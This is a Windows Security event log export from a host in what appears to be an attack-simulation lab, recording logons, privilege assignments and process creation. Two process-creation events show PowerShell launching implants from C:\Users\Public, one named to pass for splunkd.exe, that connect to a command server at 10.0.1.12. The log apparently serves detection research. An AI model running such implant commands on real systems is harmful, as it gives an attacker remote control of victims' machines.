	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253634
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253633
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x350
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253632
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0xC264

Process Information:
	New Process ID:		0x4a0
	New Process Name:	C:\Windows\System32\dwm.exe
	Token Elevation Type:	%%1938
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x31c
	Creator Process Name:	C:\Windows\System32\winlogon.exe
	Process Command Line:	"dwm.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253631
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5

Process Information:
	New Process ID:		0x494
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253630
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5

Process Information:
	New Process ID:		0x48c
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\svchost.exe -k LocalService

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253629
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0xC212

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
			SeImpersonatePrivilege
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253628
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		2
	Restricted Admin Mode:	-
	Virtual Account:		Yes
	Elevated Token:		No

Impersonation Level:		Impersonation

New Logon:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0xC264
	Linked Logon ID:		0xC212
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x31c
	Process Name:		C:\Windows\System32\winlogon.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253627
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		2
	Restricted Admin Mode:	-
	Virtual Account:		Yes
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0xC212
	Linked Logon ID:		0xC264
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x31c
	Process Name:		C:\Windows\System32\winlogon.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253626
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x31c
	Process Name:		C:\Windows\System32\winlogon.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253625
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0x46c
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\svchost.exe -k termsvcs

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253624
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\LOCAL SERVICE
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
			SeImpersonatePrivilege
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253623
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\LOCAL SERVICE
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x350
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253622
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x43c
	New Process Name:	C:\Windows\System32\LogonUI.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x31c
	Creator Process Name:	C:\Windows\System32\winlogon.exe
	Process Command Line:	"LogonUI.exe" /flags:0x2 /state0:0xa3bca055 /state1:0x41c64e6d

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=253657
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:51:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=253656
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:51:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253658
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0xb1c
	New Process Name:	C:\Windows\System32\wbem\WmiPrvSE.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253660
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb88
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xb80
	Creator Process Name:	C:\Users\Public\splunkd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253659
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb80
	New Process Name:	C:\Users\Public\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x7bc
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Users\Public\splunkd.exe" -socket 10.0.1.12:7010 -http http://10.0.1.12:8888 -contact tcp 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=253663
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x360
	Process Name:		C:\Windows\System32\lsass.exe
03/11/2021 11:51:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=253662
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x360
	Process Name:		C:\Windows\System32\lsass.exe
03/11/2021 11:51:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253661
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbc8
	New Process Name:	C:\Users\Public\sandcat.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x864
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Users\Public\sandcat.exe" -server http://10.0.1.12:8888 -group my_group -v

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253666
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbfc
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\svchost.exe -k smbsvcs

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253665
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:51:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253664
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
